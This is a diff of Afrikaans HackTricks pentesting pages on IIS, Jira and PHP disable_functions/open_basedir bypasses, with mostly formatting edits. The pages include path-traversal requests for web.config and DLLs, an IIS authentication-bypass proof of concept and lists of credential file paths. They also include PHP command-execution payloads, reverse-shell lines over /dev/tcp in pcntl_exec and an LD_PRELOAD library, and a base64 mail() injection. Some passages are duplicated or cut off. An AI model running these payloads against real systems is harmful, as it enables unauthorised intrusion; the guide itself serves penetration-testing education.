<add name="UseHostName" value="true" />
|
||||
</customHeaders>
|
||||
</httpProtocol>
|
||||
</system.webServer>
|
||||
```
|
||||
```plaintext
|
||||
<system.webServer>
|
||||
<httpProtocol>
|
||||
<customHeaders>
|
||||
<add name="UseHostName" value="true" />
|
||||
</customHeaders>
|
||||
</httpProtocol>
|
||||
</system.webServer>
|
||||
```
|
||||
2. Stel die `forwardWindowsAuthToken`-parameter in op `false` in die `applicationHost.config`-lêer. Hierdie parameter voorkom dat die bediener die interne IP-adres in die `WWW-Authenticate`-kop van die respons insluit.
|
||||
|
||||
2. Stel die `forwardWindowsAuthToken`-parameter in op `false` in die `applicationHost.config`-lêer. Hierdie parameter voorkom dat die bediener die interne IP-adres in die `WWW-Authenticate`-kop van die respons insluit.
|
||||
|
||||
```plaintext
|
||||
<system.webServer>
|
||||
<security>
|
||||
<authentication>
|
||||
<windowsAuthentication enabled="true" forwardWindowsAuthToken="false" />
|
||||
</authentication>
|
||||
</security>
|
||||
</system.webServer>
|
||||
```
|
||||
```plaintext
|
||||
<system.webServer>
|
||||
<security>
|
||||
<authentication>
|
||||
<windowsAuthentication enabled="true" forwardWindowsAuthToken="false" />
|
||||
</authentication>
|
||||
</security>
|
||||
</system.webServer>
|
||||
```
|
||||
|
||||
Deur hierdie stappe te volg, kan jy die risiko van die bekendmaking van die interne IP-adres van jou IIS-bediener verminder.
|
||||
|
||||
```
|
||||
GET / HTTP/1.0
|
||||
|
||||
|
@ -69,6 +71,7 @@ Location: https://192.168.5.237/owa/
|
|||
Server: Microsoft-IIS/10.0
|
||||
X-FEServer: NHEXCHANGE2016
|
||||
```
|
||||
|
||||
## Voer .config-lêers uit
|
||||
|
||||
Jy kan .config-lêers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen, is om die kode aan die einde van die lêer te voeg binne 'n HTML-kommentaar: [Laai voorbeeld hier af](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
@ -101,8 +104,7 @@ Kyk na die volledige bespreking by: [https://blog.mindedsecurity.com/2018/10/fro
|
|||
{% hint style="info" %}
|
||||
As opsomming, daar is verskeie web.config-lêers binne die toepassings se lêers met verwysings na "**assemblyIdentity**" lêers en "**namespaces**". Met hierdie inligting is dit moontlik om te weet **waar uitvoerbare lêers geleë is** en om hulle af te laai.\
|
||||
Van die **afgelaaide Dlls** is dit ook moontlik om **nuwe namespaces** te vind waar jy probeer toegang kry en die web.config-lêer te kry om nuwe namespaces en assemblyIdentity te vind.\
|
||||
Ook kan die lêers **connectionstrings.config** en **global.asax** interessante inligting bevat.\
|
||||
|
||||
Ook kan die lêers **connectionstrings.config** en **global.asax** interessante inligting bevat.\\
|
||||
{% endhint %}
|
||||
|
||||
In **.Net MVC-toepassings** speel die **web.config**-lêer 'n belangrike rol deur elke binêre lêer wat die toepassing afhanklik is, te spesifiseer deur middel van **"assemblyIdentity"** XML-etikette.
|
||||
|
@ -110,17 +112,19 @@ In **.Net MVC-toepassings** speel die **web.config**-lêer 'n belangrike rol deu
|
|||
### **Verkenning van Binêre Lêers**
|
||||
|
||||
'n Voorbeeld van toegang tot die **web.config**-lêer word hieronder getoon:
|
||||
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
|
||||
Hierdie versoek openbaar verskeie instellings en afhanklikhede, soos:
|
||||
|
||||
- **EntityFramework** weergawe
|
||||
- **AppSettings** vir webbladsye, klientvalidasie, en JavaScript
|
||||
- **System.web** konfigurasies vir outentifikasie en uitvoertyd
|
||||
- **System.webServer** modules-instellings
|
||||
- **Runtime** saamgestelde bindings vir verskeie biblioteke soos **Microsoft.Owin**, **Newtonsoft.Json**, en **System.Web.Mvc**
|
||||
* **EntityFramework** weergawe
|
||||
* **AppSettings** vir webbladsye, klientvalidasie, en JavaScript
|
||||
* **System.web** konfigurasies vir outentifikasie en uitvoertyd
|
||||
* **System.webServer** modules-instellings
|
||||
* **Runtime** saamgestelde bindings vir verskeie biblioteke soos **Microsoft.Owin**, **Newtonsoft.Json**, en **System.Web.Mvc**
|
||||
|
||||
Hierdie instellings dui daarop dat sekere lêers, soos **/bin/WebGrease.dll**, binne die aansoek se /bin-vouer geleë is.
|
||||
|
||||
|
@ -131,17 +135,21 @@ Lêers wat in die hoofgids gevind word, soos **/global.asax** en **/connectionst
|
|||
### **Namespaces en Web.Config**
|
||||
|
||||
MVC-aansoeke definieer ook addisionele **web.config-lêers** vir spesifieke namespaces om herhalende verklarings in elke lêer te voorkom, soos gedemonstreer met 'n versoek om 'n ander **web.config** af te laai:
|
||||
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
|
||||
### **Aflaai van DLLs**
|
||||
|
||||
Die vermelding van 'n aangepaste namespace dui op 'n DLL met die naam "**WebApplication1**" wat in die /bin-gids aanwesig is. Daarna word 'n versoek om die **WebApplication1.dll** af te laai, getoon:
|
||||
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
|
||||
Dit dui op die teenwoordigheid van ander noodsaaklike DLL's, soos **System.Web.Mvc.dll** en **System.Web.Optimization.dll**, in die /bin gids.
|
||||
|
||||
In 'n scenario waar 'n DLL 'n naamsruimte genaamd **WebApplication1.Areas.Minded** invoer, kan 'n aanvaller die bestaan van ander web.config-lêers in voorspelbare paaie aflei, soos **/area-naam/Views/**, wat spesifieke konfigurasies en verwysings na ander DLL's in die /bin gids bevat. Byvoorbeeld, 'n versoek na **/Minded/Views/web.config** kan konfigurasies en naamsruimtes openbaar wat die teenwoordigheid van 'n ander DLL, **WebApplication1.AdditionalFeatures.dll**, aandui.
|
||||
|
@ -149,6 +157,7 @@ In 'n scenario waar 'n DLL 'n naamsruimte genaamd **WebApplication1.Areas.Minded
|
|||
### Algemene lêers
|
||||
|
||||
Van [hier](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||
|
||||
```
|
||||
C:\Apache\conf\httpd.conf
|
||||
C:\Apache\logs\access.log
|
||||
|
@ -225,11 +234,12 @@ C:\xampp\security\webdav.htpasswd
|
|||
C:\xampp\sendmail\sendmail.ini
|
||||
C:\xampp\tomcat\conf\server.xml
|
||||
```
|
||||
|
||||
## HTTPAPI 2.0 404 Fout
|
||||
|
||||
As jy 'n fout soos die volgende sien:
|
||||
|
||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
|
||||
![](https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20\(446\)%20\(1\)%20\(2\)%20\(2\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(13\).png)
|
||||
|
||||
Dit beteken dat die bediener **nie die korrekte domeinnaam** in die Host-kop ingekry het nie.\
|
||||
Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL-sertifikaat** en miskien kan jy die domein/subdomeinnaam daarin vind. As dit nie daar is nie, moet jy dalk **VHosts** met geweld afdwing totdat jy die korrekte een vind.
|
||||
|
@ -279,9 +289,10 @@ ASPXAUTH gebruik die volgende inligting:
|
|||
Sommige mense sal egter die **verstekwaardes** van hierdie parameters gebruik en die **e-pos van die gebruiker** as **koekie** gebruik. Daarom, as jy 'n webwerf kan vind wat dieselfde platform gebruik en die ASPXAUTH-koekie gebruik, en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil voorstel** op die aangevalle bediener skep, kan jy dalk die koekie van die tweede bediener in die eerste een gebruik en die gebruiker voorstel.\
|
||||
Hierdie aanval het gewerk in hierdie [**verslag**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## IIS-verifikasie-omseiling met gestoorde wagwoorde (CVE-2022-30209) <a href="#3-iis-authentication-bypass" id="3-iis-authentication-bypass"></a>
|
||||
## IIS-verifikasie-omseiling met gestoorde wagwoorde (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Volledige verslag hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 'n Fout in die kode het **nie behoorlik vir die wagwoord wat deur die gebruiker gegee is nie**, so 'n aanvaller wie se wagwoordhash 'n sleutel tref wat reeds in die **kas** is, sal in staat wees om as daardie gebruiker aan te meld.
|
||||
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
@ -301,6 +312,7 @@ HTTP/1.1 401 Unauthorized
|
|||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -310,7 +322,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -69,16 +69,18 @@ In Jira kan **voorregte nagegaan word** deur enige gebruiker, geïdentifiseer of
|
|||
* WORK\_ON\_ISSUES
|
||||
|
||||
Voorbeeld: `https://jou-domein.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
|
||||
```bash
|
||||
#Check non-authenticated privileges
|
||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||
```
|
||||
|
||||
### Geoutomatiseerde opsomming
|
||||
|
||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in **hacking loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke benodig_).
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# PHP - Nuttige Funksies & disable\_functions/open\_basedir omseil
|
||||
# PHP - Useful Functions & disable\_functions/open\_basedir bypass
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
@ -21,33 +21,47 @@ Ander maniere om HackTricks te ondersteun:
|
|||
**Nota:** 'n [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php-webshell kan die volgende funksie **outomaties** toets en omseil as sommige van hulle gedeaktiveer is.
|
||||
|
||||
**exec** - Gee die laaste lyn van die opdrag se uitset terug
|
||||
|
||||
```bash
|
||||
echo exec("uname -a");
|
||||
```
|
||||
|
||||
**passthru** - Stuur bevels uitvoer direk na die blaaier
|
||||
|
||||
```bash
|
||||
echo passthru("uname -a");
|
||||
```
|
||||
|
||||
**sisteem** - Gee bevele uitset direk aan die blaaier en gee die laaste lyn terug
|
||||
|
||||
```bash
|
||||
echo system("uname -a");
|
||||
```
|
||||
|
||||
**shell\_exec** - Gee die uitset van opdragte terug
|
||||
|
||||
```bash
|
||||
echo shell_exec("uname -a");
|
||||
```
|
||||
|
||||
\`\` (backticks) - Dieselfde as shell\_exec()
|
||||
|
||||
```bash
|
||||
echo `uname -a`
|
||||
```
|
||||
|
||||
**popen** - Maak 'n lees- of skryf-pyp oop na 'n proses van 'n opdrag
|
||||
|
||||
```bash
|
||||
echo fread(popen("/bin/ls /", "r"), 4096);
|
||||
```
|
||||
|
||||
**proc\_open** - Soortgelyk aan popen(), maar met 'n groter mate van beheer.
|
||||
|
||||
```bash
|
||||
proc_close(proc_open("uname -a",array(),$something));
|
||||
```
|
||||
|
||||
**preg\_replace**
|
||||
|
||||
Die `preg\_replace`-funksie in PHP word gebruik om 'n patroon in 'n teksreeks te soek en te vervang met 'n ander waarde. Dit maak gebruik van regulêre uitdrukkings om die soek- en vervangingsproses uit te voer.
|
||||
|
@ -58,9 +72,9 @@ Hier is die sintaksis vir die gebruik van `preg\_replace`:
|
|||
preg_replace($pattern, $replacement, $subject);
|
||||
```
|
||||
|
||||
- `$pattern` is die regulêre uitdrukking wat gebruik word om die teksreeks te soek.
|
||||
- `$replacement` is die waarde wat gebruik word om die ooreenstemmende patroon te vervang.
|
||||
- `$subject` is die teksreeks waarin die soek- en vervangingsproses uitgevoer word.
|
||||
* `$pattern` is die regulêre uitdrukking wat gebruik word om die teksreeks te soek.
|
||||
* `$replacement` is die waarde wat gebruik word om die ooreenstemmende patroon te vervang.
|
||||
* `$subject` is die teksreeks waarin die soek- en vervangingsproses uitgevoer word.
|
||||
|
||||
Hier is 'n voorbeeld van hoe `preg\_replace` gebruik kan word:
|
||||
|
||||
|
@ -76,22 +90,29 @@ echo $newText; // Output: Hello, universe!
|
|||
In hierdie voorbeeld word die woord "world" in die teksreeks "Hello, world!" vervang met die woord "universe". Die `preg\_replace`-funksie soek na die patroon "/world/" in die teksreeks en vervang dit met die waarde "universe". Die nuwe teksreeks, "Hello, universe!", word dan uitgevoer.
|
||||
|
||||
Dit is belangrik om te onthou dat `preg\_replace` 'n regulêre uitdrukking gebruik om te soek na ooreenstemmende patrone. Dit beteken dat jy spesiale karakters moet ontsnap met 'n sku
|
||||
|
||||
```php
|
||||
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
|
||||
```
|
||||
|
||||
**pcntl\_exec** - Voer 'n program uit (standaard moet jy die `pcntl.so` module laai om hierdie funksie in moderne en nie so moderne PHP te gebruik)
|
||||
|
||||
```bash
|
||||
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
|
||||
```
|
||||
**pos / mb_send_mail** - Hierdie funksie word gebruik om e-posse te stuur, maar dit kan ook misbruik word om willekeurige opdragte in die `$options` parameter in te spuit. Dit is omdat die **php `mail` funksie** gewoonlik die `sendmail` binêre lêer in die stelsel aanroep en dit jou toelaat om **ekstra opsies** in te voer. Jy sal egter nie die uitset van die uitgevoerde opdrag kan sien nie, so dit word aanbeveel om 'n skripsie te skep wat die uitset na 'n lêer skryf, dit uit te voer met behulp van mail, en die uitset te druk:
|
||||
|
||||
**pos / mb\_send\_mail** - Hierdie funksie word gebruik om e-posse te stuur, maar dit kan ook misbruik word om willekeurige opdragte in die `$options` parameter in te spuit. Dit is omdat die **php `mail` funksie** gewoonlik die `sendmail` binêre lêer in die stelsel aanroep en dit jou toelaat om **ekstra opsies** in te voer. Jy sal egter nie die uitset van die uitgevoerde opdrag kan sien nie, so dit word aanbeveel om 'n skripsie te skep wat die uitset na 'n lêer skryf, dit uit te voer met behulp van mail, en die uitset te druk:
|
||||
|
||||
```bash
|
||||
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
|
||||
```
|
||||
|
||||
**dl** - Hierdie funksie kan gebruik word om 'n PHP-uitbreiding dinamies te laai. Hierdie funksie sal nie altyd beskikbaar wees nie, so jy moet eers nagaan of dit beskikbaar is voordat jy probeer om dit uit te buit. Lees [hierdie bladsy om te leer hoe om hierdie funksie uit te buit](disable\_functions-bypass-dl-function.md).
|
||||
|
||||
### PHP Kode Uitvoering
|
||||
|
||||
Afgesien van eval is daar ander maniere om PHP-kode uit te voer: include/require kan gebruik word vir afgeleë kode-uitvoering in die vorm van plaaslike lêer insluiting en afgeleë lêer insluiting kwesbaarhede.
|
||||
|
||||
```php
|
||||
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
|
||||
eval()
|
||||
|
@ -111,6 +132,7 @@ $func->invokeArgs(array());
|
|||
|
||||
// or serialize/unserialize function
|
||||
```
|
||||
|
||||
## disable\_functions & open\_basedir
|
||||
|
||||
**Gedeaktiveerde funksies** is die instelling wat in `.ini` lêers in PHP gekonfigureer kan word om die gebruik van die aangeduide **funksies** te **verbied**. **Open basedir** is die instelling wat aan PHP aandui watter vouer toeganklik is.\
|
||||
|
@ -130,6 +152,7 @@ As jy egter op een of ander manier arbitrêre PHP-kode kan uitvoer, kan jy die v
|
|||
### Gidslyste met glob:// omseiling
|
||||
|
||||
In hierdie eerste voorbeeld word die `glob://`-protokol met 'n omseiling van 'n pad gebruik:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$file_list = array();
|
||||
|
@ -146,6 +169,7 @@ foreach($file_list as $f){
|
|||
echo "{$f}<br/>";
|
||||
}
|
||||
```
|
||||
|
||||
**Nota1**: In die pad kan jy ook `/e??/*` gebruik om `/etc/*` en enige ander vouer te lys.\
|
||||
**Nota2**: Dit lyk asof 'n deel van die kode gekopieer is, maar dit is eintlik nodig!\
|
||||
**Nota3**: Hierdie voorbeeld is slegs nuttig om vouers te lys en nie om lêers te lees nie
|
||||
|
@ -161,6 +185,7 @@ As **`php-fpm`** gekonfigureer is, kan jy dit misbruik om heeltemal **open\_base
|
|||
|
||||
Let daarop dat die eerste ding wat jy moet doen, is om uit te vind waar die **unix-socket van php-fpm** is. Dit word gewoonlik onder `/var/run` gevind, sodat jy die vorige kode kan gebruik om die gids te lys en dit te vind.\
|
||||
Kode van [hier](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
|
||||
|
||||
```php
|
||||
<?php
|
||||
/**
|
||||
|
@ -511,6 +536,7 @@ $params = array(
|
|||
echo $client->request($params, $code)."\n";
|
||||
?>
|
||||
```
|
||||
|
||||
Hierdie skrip sal kommunikeer met die **unix-socket van php-fpm** (gewoonlik geleë in /var/run as fpm gebruik word) om willekeurige kode uit te voer. Die `open_basedir` instellings sal oorskryf word deur die **PHP\_VALUE** eienskap wat gestuur word.\
|
||||
Let op hoe `eval` gebruik word om die PHP-kode wat jy stuur binne die **cmd** parameter uit te voer.\
|
||||
Let ook op die **uitgekommentarieerde lyn 324**, jy kan dit onuitgekommentarieer en die **payload sal outomaties verbind met die gegewe URL en die PHP-kode** wat daar bevat word, uitvoer.\
|
||||
|
@ -549,6 +575,7 @@ Dit is algemeen bekend dat sommige funksies in PHP soos `mail()` **binêre lêer
|
|||
Jy kan [**hier**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) die fuzzer-skrip vind wat gebruik is om daardie funksies te vind.
|
||||
|
||||
Hier is 'n biblioteek wat jy kan saamstel om die `LD_PRELOAD` omgewingsveranderlike te misbruik:
|
||||
|
||||
```php
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
|
@ -561,6 +588,7 @@ system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
|
|||
return 1;
|
||||
}
|
||||
```
|
||||
|
||||
#### Deurloop deur Chankro
|
||||
|
||||
Om van hierdie konfigurasie-misbruik gebruik te maak, kan jy [**Chankro**](https://github.com/TarlogicSecurity/Chankro) gebruik. Dit is 'n instrument wat 'n PHP-uitbuiting sal **genereer** wat jy moet oplaai na die kwesbare bediener en dit uitvoer (toegang daartoe verkry via die web).\
|
||||
|
@ -575,69 +603,71 @@ In die volgende voorbeeld kan jy sien hoe om 'n **Chankro-uitbuiting** te **skep
|
|||
#!/bin/sh
|
||||
whoami > /tmp/chankro_shell.out
|
||||
```
|
||||
# PHP Nuttige Funksies: disable_functions & open_basedir Bypass
|
||||
|
||||
## PHP Nuttige Funksies: disable\_functions & open\_basedir Bypass
|
||||
|
||||
Hierdie dokument bevat 'n paar nuttige PHP-funksies wat gebruik kan word om die `disable_functions`-en `open_basedir`-beperkings te omseil tydens webtoepassingstoetsing.
|
||||
|
||||
## disable_functions
|
||||
### disable\_functions
|
||||
|
||||
Die `disable_functions`-instelling in die PHP-konfigurasie beperk die toegang tot sekere funksies wat potensieel gevaarlik kan wees vir die bedryfstelsel of die bediener. Hier is 'n paar maniere om hierdie beperking te omseil:
|
||||
|
||||
### 1. Shell_exec
|
||||
#### 1. Shell\_exec
|
||||
|
||||
`shell_exec` is 'n funksie wat gebruik kan word om 'n stelselopdrag uit te voer. As dit uitgeskakel is, kan jy probeer om dit te omseil deur die volgende metodes te gebruik:
|
||||
|
||||
- `system`
|
||||
- `exec`
|
||||
- `popen`
|
||||
- `passthru`
|
||||
- `proc_open`
|
||||
* `system`
|
||||
* `exec`
|
||||
* `popen`
|
||||
* `passthru`
|
||||
* `proc_open`
|
||||
|
||||
### 2. Eval
|
||||
#### 2. Eval
|
||||
|
||||
`eval` is 'n funksie wat gebruik kan word om dinamiese kode uit te voer. As dit uitgeskakel is, kan jy probeer om dit te omseil deur die volgende metodes te gebruik:
|
||||
|
||||
- `create_function`
|
||||
- `assert`
|
||||
- `preg_replace` met die `e`-vlag
|
||||
* `create_function`
|
||||
* `assert`
|
||||
* `preg_replace` met die `e`-vlag
|
||||
|
||||
### 3. Other Functions
|
||||
#### 3. Other Functions
|
||||
|
||||
Daar is ook ander funksies wat jy kan probeer om die `disable_functions`-beperking te omseil:
|
||||
|
||||
- `mail` (deur 'n aangepaste SMTP-bediener te gebruik)
|
||||
- `putenv` (om omgewingsveranderlikes te stel)
|
||||
- `ini_set` (om PHP-instellings te verander)
|
||||
- `dl` (om dinamiese biblioteke te laai)
|
||||
* `mail` (deur 'n aangepaste SMTP-bediener te gebruik)
|
||||
* `putenv` (om omgewingsveranderlikes te stel)
|
||||
* `ini_set` (om PHP-instellings te verander)
|
||||
* `dl` (om dinamiese biblioteke te laai)
|
||||
|
||||
## open_basedir Bypass
|
||||
### open\_basedir Bypass
|
||||
|
||||
Die `open_basedir`-instelling in die PHP-konfigurasie beperk die toegang tot lêers en gidses buite 'n spesifieke gids. Hier is 'n paar maniere om hierdie beperking te omseil:
|
||||
|
||||
### 1. File Upload
|
||||
#### 1. File Upload
|
||||
|
||||
As die webtoepassing lêeroplaaifunksionaliteit het, kan jy probeer om die `open_basedir`-beperking te omseil deur die volgende metodes te gebruik:
|
||||
|
||||
- Lêeroplaai na 'n gids binne die toegelate gids
|
||||
- Lêeroplaai na 'n gids buite die toegelate gids en dan gebruik maak van 'n lêerinsluitingsfout om toegang tot die lêer te verkry
|
||||
* Lêeroplaai na 'n gids binne die toegelate gids
|
||||
* Lêeroplaai na 'n gids buite die toegelate gids en dan gebruik maak van 'n lêerinsluitingsfout om toegang tot die lêer te verkry
|
||||
|
||||
### 2. Symlinks
|
||||
#### 2. Symlinks
|
||||
|
||||
As die bediener symlinks toelaat, kan jy probeer om die `open_basedir`-beperking te omseil deur die volgende metodes te gebruik:
|
||||
|
||||
- Skep 'n simboliese skakel na 'n gids buite die toegelate gids
|
||||
- Skep 'n simboliese skakel na 'n lêer buite die toegelate gids
|
||||
* Skep 'n simboliese skakel na 'n gids buite die toegelate gids
|
||||
* Skep 'n simboliese skakel na 'n lêer buite die toegelate gids
|
||||
|
||||
### 3. Directory Traversal
|
||||
#### 3. Directory Traversal
|
||||
|
||||
As die webtoepassing 'n directory traversal kwesbaarheid het, kan jy probeer om die `open_basedir`-beperking te omseil deur die volgende metodes te gebruik:
|
||||
|
||||
- Gebruik van `../` om na 'n gids buite die toegelate gids te navigeer
|
||||
- Gebruik van URL-encodes om die `../`-teken te omseil
|
||||
* Gebruik van `../` om na 'n gids buite die toegelate gids te navigeer
|
||||
* Gebruik van URL-encodes om die `../`-teken te omseil
|
||||
|
||||
## Slotwoord
|
||||
### Slotwoord
|
||||
|
||||
Hierdie is slegs 'n paar van die moontlike metodes om die `disable_functions`-en `open_basedir`-beperkings in PHP te omseil. Dit is belangrik om te onthou dat die omseiling van hierdie beperkings nie noodwendig wettig of eties is nie en slegs gebruik moet word vir wettige toepassings soos webtoepassingstoetsing.
|
||||
|
||||
```bash
|
||||
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
|
||||
```
|
||||
|
@ -660,7 +690,7 @@ Ek het 'n webshell geskep wat dit baie maklik maak om hierdie aksies uit te voer
|
|||
Daar is verskeie maniere om disable\_functions te omseil as 'n spesifieke module gebruik word of 'n spesifieke PHP-weergawe uitgebuit word:
|
||||
|
||||
* [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||
* [**Omseiling met FFI - Foreign Function Interface enabled**](broken-reference/)
|
||||
* [**Omseiling met FFI - Foreign Function Interface enabled**](https://github.com/carlospolop/hacktricks/blob/af/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/broken-reference/README.md)
|
||||
* [**Omseiling via mem**](disable\_functions-bypass-via-mem.md)
|
||||
* [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md)
|
||||
* [**PHP Perl-uitbreiding Safe\_mode**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md)
|
||||
|
@ -695,9 +725,10 @@ Die volgende skrips probeer sommige van die hier besproke metodes:\
|
|||
|
||||
Hierdie funksies aanvaar 'n stringparameter wat gebruik kan word om 'n funksie van die aanvaller se keuse te roep. Afhangend van die funksie mag die aanvaller wel of nie die vermoë hê om 'n parameter oor te dra nie. In daardie geval kan 'n Inligtingslek-funksie soos phpinfo() gebruik word.
|
||||
|
||||
[Callbacks / Callables ](https://www.php.net/manual/en/language.types.callable.php)
|
||||
[Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php)
|
||||
|
||||
[Volgende lys vanaf hier](https://stackoverflow.com/questions/3115559/exploitable-php-functions)
|
||||
|
||||
```php
|
||||
// Function => Position of callback arguments
|
||||
'ob_start' => 0,
|
||||
|
@ -733,9 +764,11 @@ Hierdie funksies aanvaar 'n stringparameter wat gebruik kan word om 'n funksie v
|
|||
'sqlite_create_aggregate' => array(2, 3),
|
||||
'sqlite_create_function' => 2,
|
||||
```
|
||||
|
||||
